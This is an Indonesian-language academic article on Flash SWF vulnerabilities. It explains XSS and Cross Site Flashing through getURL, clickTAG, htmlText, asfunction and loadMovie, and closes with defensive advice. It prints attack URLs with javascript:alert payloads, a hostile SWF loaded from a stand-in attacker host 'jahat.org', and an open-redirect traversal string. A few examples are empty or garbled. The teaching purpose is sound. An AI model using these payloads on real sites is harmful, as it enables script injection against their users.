Bayangkan jika kode tersebut diambil dari file SWF dan kemudian mendekompilasinya. Dalam aplikasi tersebut terdapat tiga masukan dari pengguna, yaitu: `userinput1`, `userinput2`, dan `userinput3`, melalui parameter URL di *source code* dari tag object seperti ini :

```
<object type="application/x-shockwave-flash" data="http://situs.com/VulnerableMovie.swf?userinput2=galih" height="480" width="640">  
<param name="movie"  
value="http://situs.com/VulnerableMovie.swf?userinput2=galih">  
</object>
```

Atau melalui parameter `flashvars` :

```
<object type="application/x-shockwave-flash" data="http://situs.com/VulnerableMovie.swf" height="480" width="640">  
<param name="movie" value="http://situs.com/VulnerableMovie.swf">  
<param name="flashvars" value="userinput2=galih">  
</object>
```

Masukan dari pengguna diakses dari banyak objek dalam aplikasi Flash, seperti: `_root`, `_level0`, dan objek lainnya. Asumsi bahwa semua variabel yang belum ditentukan dapat ditentukan dengan parameter-parameter dalam URL.

Aplikasi Flash menampilkan pesan Halo ke `userinput1`. Jika `userinput2` disediakan, pengguna dikirim ke sebuah URL yang telah ditentukan dalam `userinput2`. Jika `_root.userinput3` disediakan, kemudian aplikasi Flash akan memanggil aplikasi Flash lainnya. Seorang penyerang dapat menggunakan semua jenis masukan ini untuk melakukan XSS^[3].

3.6.1 XSS Berbasis `getURL()`

Pertama-tama, mari kita perhatikan `userinput1`. Variabel tersebut diinisialisasi oleh keberadaannya dalam variabel input Flash, tapi tidak diinisialisasi oleh aplikasi Flash. Berlawanan dengan namanya, `userinput1` bisa jadi sengaja dibuat untuk tidak dijadikan sebagai masukan pengguna, dalam hal ini, `userinput1` hanya sebuah variabel yang tidak diinisialisasi. Jika diinisialisasi melalui parameter dalam URL, sebagaimana dalam URL berikut :

```
http://example.com/VulnerableMovie.swf?userinput1=javascript%3Aalert%281%29
```

Maka fungsi `getURL()` akan memberitahu *browser* untuk memanggil URL `javascript:alert(1)` yang mengeksekusi kode JavaScript pada domain dimana aplikasi tersebut berada^[3].

3.6.2 XSS Via `clickTag()`

Flash memiliki variabel special yang disebut `clickTAG`, dimana didesain untuk pengiklanan berbasis Flash yang dapat membantu pemasang iklan melacak dimana iklannya ditampilkan. Kebanyakan dari jaringan iklan (*ad networks*) membutuhkan iklan untuk ditambahkan parameter URL `clickTAG` dan mengeksekusi `getURL` (`clickTAG`) pada iklan mereka. Contoh tag objek HTML pada sebuah *banner* iklan adalah sebagai berikut :

```
<embed src="http://adnetwork.com/SomeAdBanner.swf?clickTAG=http://adnetwork.com/track?http://example.com">
```

Atau :

```
<object type="application/x-shockwave-flash"
data=" http://adnetwork.com/SomeAdBanner.swf" width="640"
height="480" >
<param name="movie" value="http://adnetwork.com/SomeAdBanner.swf">
<param name="flashvars" value="
clickTAG=http://adnetwork.com/track?http://example.com">
</object>
```

Pada tahun 2003, Scan Security Wire memberitahukan bahwa jika `clickTAG` tidak dengan baik diperiksa sebelum pengekseskuan `getURL(clickTAG)`, maka seorang penyerang dapat melakukan XSS pada domain yang menyimpan file SWF tersebut (dalam hal ini `adnetwork.com`) dalam URL berikut :

```
http://adnetwork.com/SomeAdBanner.swf?clickTAG=javascript:alert(1)
```

Jika kita membangun iklan Flash, baiknya memastikan bahwa `clickTAG` diawali dengan **http://** sebelum mengeksekusi `getURL(clickTAG)`, sehingga :

```
if (clickTAG.substr(0,5) == "http:") {
    getURL(clickTAG);
}
```

3.6.3 XSS Via HTML TextField.htmlText dan TextArea.htmlText

Berikutnya mari perhatikan `userinput2` dalam kode `VulnerableMovie`. Secara *default*, `TextFields` hanya menerima teks biasa, namun dengan mengatur `html = true`, para pengembang dapat meletakkan kode HTML dalam `TextFields`. Pengembang juga dapat selalu menempatkan teks HTML dalam `TextArea`. Sesuatu yang wajar bagi pengembang menggunakan Flash dengan fungsionalitas HTML terbatas. Jika bagian dari teks untuk `TextField` bersumber dari masukan pengguna, sebagaimana contoh sebelumnya, seorang penyerang dapat memasukkan HTML dan `ActionScript` yang diubah. Berikut ini contohnya :

```
http://situs.com/VulnerableMovie.swf?userinput2=%3Ca+href%3D%22javascript%3Aalert%281%29%22%3Eklik+sini+agar+dihack%3C/a%3E
```

Tambahkan HTML berikut :

```
<a href="javascript:alert(1)">klik sini agar dihack</a>
```

Jika pengguna mengklik link “klik sini agar dihack”, penyerang dapat menjalankan kode JavaScript jahat pada domain yang menyimpan file SWF bersangkutan.

Selanjutnya, penyerang dapat memasukkan kode HTML yang secara otomatis mengeksekusi JavaScript, tidak lagi membutuhkan pengguna untuk mengklik link tersebut. Hal ini dapat dilakukan dengan menggunakan pengelola protokol **asfunction:**. `asfunction:` adalah pengelola protokol khusus pada *plug-in* Flash Player dan sama dengan pengelola protokol **javascript:** dikarenakan dapat mengeksekusi fungsi `ActionScript` yang diubah, contohnya seperti ini :

```
asfunction:functionName, parameter1, parameter2, ...
```

Pemanggilan `asfunction:getURL,javascript:alert(1)` akan mengeksekusi fungsi `ActionScript` `getURL()`, dimana meminta agar *browser* memanggil URL. URL yang diminta adalah `javascript:alert(1)`, dimana mengeksekusi JavaScript pada domain yang menyimpan file SWF.

Pengaturan `userinput1` ke `` akan berusaha memuatkan sebuah gambar, namun gambar

tersebut adalah sebuah fungsi ActionScript yang justru mengeksekusi JavaScript pada *browser*. Catatan bahwa Flash mengizinkan para pengembang memanggil hanya file JPEG, GIF, PNG, dan SWF. Hal ini diperiksa melalui ekstensi filenya. Untuk mengelak dari hal tersebut, si penyerang akan berpura-pura menambahkan sebuah ekstensi file dengan komentar JavaScript `//.jpg`. Untuk mengeksekusi JavaScript ini, pengguna cukup dipikat dengan URL sebagai berikut :

```
http://situs.com/VulnerableMovie.swf?userinput2=pwn3d%3Cimg+src%3D%22asfunction%3AgetURL%2Cjavascript%3Aalert%281%29//.jpg%22%3E
```

Dengan kata lain, si penyerang dapat berulah lagi disebabkan Flash memperlakukan gambar, video, dan audio secara sama, dan memasukkan kode berikut :

```

```

Dimana `CobaHacking.swf` berisi kode JavaScript jahat. Pemanggilan file `CobaHacking.swf` pada domain dengan SWF yang mudah diserang tersebut dapat menyebabkan efek serangan yang berbasis pada `asfunction:` ^[3].

3.6.4 XSS Via Fungsi *Loading* `loadMovie()` dan Fungsi *Loading* lainnya

Sekarang kita perhatikan `userinput3` pada kode `VulnerableMovie`. Jika `userinput3` dispesifikasikan, maka `VulnerableMovie` memanggil `loadMovie(_root.userinput3);` dan si penyerang dapat memanggil *movie* atau URL manapun yang dia kehendaki. Misal, pemanggilan URL `asfunction:getURL,javascript:alert(1)//` akan menyebabkan XSS. URL dengan serangan sesungguhnya adalah sebagai berikut :

```
http://situs.com/VulnerableMovie.swf?userinput3=asfunction%3AgetURL%2Cjavascript%3Aalert%281%29//
```

Tambahan `//` di akhir URL sebenarnya tidak perlu untuk memanggil `VulnerableMovie`, namun `//` berfungsi untuk mengomentari data yang ditambahkan ke data masukan pengguna dalam aplikasi Flash, seperti contoh kode berikut :

```
_root.loadMovie(_root.baseUrl + "/movie.swf");
```

Persoalan keamanan ini tidak terbatas hanya pada `loadMovie()` itu sendiri. Dalam Flash Player 9.0 r47, hampir semua fungsi pemanggilan URL adalah rentan terhadap serangan variabel yang menggunakan asfunction, termasuk di dalamnya adalah :

- `loadVariables()`
- `loadMovie()`
- `getURL()`
- `loadMovie()`
- `loadMovieNum()`
- `ScrollPane.loadScrollContent()`
- `LoadVars.load()`
- `LoadVars.send()`
- `LoadVars.sendAndLoad()`
- `MovieClip.getURL()`
- `MovieClip.loadMovie()`
- `NetConnection.connect()`
- `NetServices.createGatewayConnection()`
- `NetStream.play()`
- `Sound.loadSound()`
- `XML.load()`
- `XML.send()`
- `XML.sendAndLoad()`

Kita juga harus perhatian terhadap URL yang menerima variabel, seperti `TextFormat.url`. Serangan ini umum pada aplikasi Flash, termasuk *Flash movies* yang secara otomatis dibangkitkan dari *slide shows*, video, dan konten lain^[3].

3.6.5 XSF Via Fungsi *Loading* `loadMovie` dan Fungsi *Loading* SWF, Gambar, dan Suara lainnya

Seorang penyerang dapat juga memanggil file SWF-nya melalui `userinput3`, sebagaimana aplikasi *CobaHacking* yang dibahas sebelumnya. Berikut ini contoh URL serangannya :

```
http://situs.com/VulnerableMovie.swf?userinput3= http%3A//jahat.org/CobaHacking.swf%3F
```

Penyerang harus meletakkan file SWF *CobaHacking* di situsnya (misalnya: `jahat.org`) dan menempatkan kebijakan keamanan yang tidak aman di situsnya. Misalkan, dengan menambahkan file `http://jahat.org/crossdomain.xml` yang berisi kode berikut :

```
<cross-domain-policy>  
<allow-access-from domain="*" />  
</cross-domain-policy>
```

Flash Player pertama-tama akan meminta file kebijakan keamanan `crossdomain.xml`. Sekali dia melihat bahwa dia diijinkan mengakses `CobaHacking`, `VulnerableMovie` akan memanggil `CobaHacking`, dan efeknya, `CobaHacking` akan mengeksekusi kode JavaScript pada domain yang menyimpan file `VulnerableMovie` (misalnya: `situs.com`, jadi bukan `jahat.org`).

Hal inilah yang disebut *Cross Site Flashing* (XSF). XSF memiliki dampak yang sama sebagaimana XSS^[3].

3.6.6 Pengaruh *URL Redirector* Terhadap Serangan XSF

Anggap `situs.com` menyimpan file SWF dengan kode berikut :

```
loadMovie("http://situs.com/movies/" + _root.movieId + ".swf?other=info");
```

Dan anggap `situs.com` memiliki *redirector* terbuka pada `http://situs.com/redirect` yang akan mengarahkan ke domain tertentu. Seorang penyerang dapat menggunakan *redirector* dari `situs.com` untuk melakukan serangan dengan menggunakan string serangan untuk `movieId` sebagai berikut :

```
../redirect=http://jahat.org/CobaHacking.swf%3F
```

`loadMovie()` berikutnya akan memanggil ini :

```
http://situs.com/movies/../redirect=http://jahat.org/CobaHacking.swf%3F  
.swf?other=info
```

Dimana sama saja dengan ini :

```
http://situs.com/redirect=http://jahat.org/CobaHacking.swf%3F.swf?other=info
```

yang akan mengarah ke sini : `http://jahat.org/CobaHacking.swf`

Oleh karena itu, SWF yang rentan serangan masih akan memanggil `CobaHacking` dalam domain `situs.com`. Dengan *URL encoding*, URL serangan akan nampak seperti ini :

```
http://situs.com/vulnerable.swf?movieId=../redirect%3D  
http%3A//jahat.org/CobaHacking.swf%253F
```

3.6.7 XSS pada SWF Pengendali dan Otomatis Dibangkitkan

Banyak aplikasi yang dapat secara otomatis membangkitkan file SWF (seperti: “Save as SWF” atau “export to SWF”). Keluaran tersebut umumnya satu atau lebih file-file SWF atau HTML yang ditujukan untuk diumumkan di suatu website perusahaan. Sayangnya, banyak dari aplikasi ini, termasuk Adobe Dreamweaver, Adobe Connect, Macromedia Breeze, Techsmith Camtasia, Autodemo, dan InfoSoft FusionChart membuat file-file SWF dengan kerentanan yang sama terhadap XSS sebagaimana telah dibahas sebelumnya^[3].

3.7 Pengamanan Aplikasi Flash

Para pengembang Flash dan ActionScript harus memahami bahwa aplikasi Flash yang tidak aman berdampak pada para penggunanya sebagaimana ketidakamanan pada aplikasi web *server-side*. Dengan adanya pengetahuan tersebut, para pengembang Flash dan ActionScript harus melakukan ini untuk melindungi aplikasi-aplikasinya.

- Validasi dan saring *user-definable input* pada parameter-parameter URL dan *flashvars* yang ditujukan untuk SWF.
- Pastikan tidak ada *redirector* yang berada di domain yang menyimpan file SWF.
- Manfaatkan atribut keamanan Flash dengan menggunakan tag `<object>` dan `<embed>`.
- Sajikan file SWF yang otomatis dibangkitkan dari sejumlah alamat IP (*Internet Protocol*) atau beberapa domain yang menurut kita tidak rentan terhadap XSS.

Validasi dan penyaringan masukan merupakan sebuah tantangan yang sama, baik untuk aplikasi Flash maupun aplikasi web *server-side*. Berikut ini beberapa petunjuk untuk membantu para pengembang.

- Kurangi jumlah parameter URL atau *flashvar* yang *user-definable* dalam fungsi-fungsi yang memanggil URL atau yang menggunakan `htmlText`;
- Saat menyertakan parameter yang *user-definable* dalam fungsi yang memanggil URL, periksa bahwa URL telah diawali dengan `http://` atau `https://` dan pastikan bahwa mereka tidak mengandung *directory traversal attacks*. Bahkan lebih baik

lagi jika memberikan prefiks pada parameter-parameter yang *user-definable* dengan domain kita sendiri, seperti :

```
loadMovie("http://www.situs.com/" +  
directoryTraversalSafe(_root.someRelativeUrl));
```

- Entitas HTML meng-*encode* semua data *user-definable* sebelum meletakkannya pada objek TextField dan TextArea. Misalnya, paling tidak ganti semua penanda < dengan < dan > dengan > pada *definable data* sebelum meletakkannya pada objek-objek TextField dan TextArea.

Kompilasi aplikasi Flash kita dengan versi terbaru yang disediakan oleh penyedia Flash^[3].

BAB 4

PENUTUP

Flash dapat digunakan untuk menyerang aplikasi web manapun yang mencerminkan kebijakan keamanan antar domain. Para peyerang dapat juga memanfaatkan validasi masukan dari pengguna yang tidak baik pada aplikasi Flash untuk melakukan XSS pada domain yang menyimpan file SWF yang rentan tersebut. File-file SWF yang secara otomatis dibangkitkan dapat dibuat dengan kode yang rentan yang dapat menyebabkan XSS menyebar secara luas.

DAFTAR PUSTAKA

- [1]. _____, *Adobe Flash*, http://en.wikipedia.org/wiki/Adobe_Flash, 11 Oktober 2010, 08.00 WIB.
- [2]. Stuttard, D., Pinto, M., *The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws*, Wiley, 2008.
- [3]. Cannings, R., Dwivedi, H., Lackey, Z., *Hacking ExposedTM Web 2.0: Web 2.0 Security Secrets And Solutions*, McGraw-Hill, 2008.

Biografi Penulis



Galih Hermawan.

Penulis adalah staf pengajar tetap (dosen) di jurusan Teknik Informatika – Universitas Komputer Indonesia – Bandung.

Belajar menulis segala hal di <http://galih.eu>.

Belajar mengelola Forum Informatika di <http://if.web.id>.

“Tiada daya dan kekuatan kecuali semuanya hanyalah milik Allah swt.”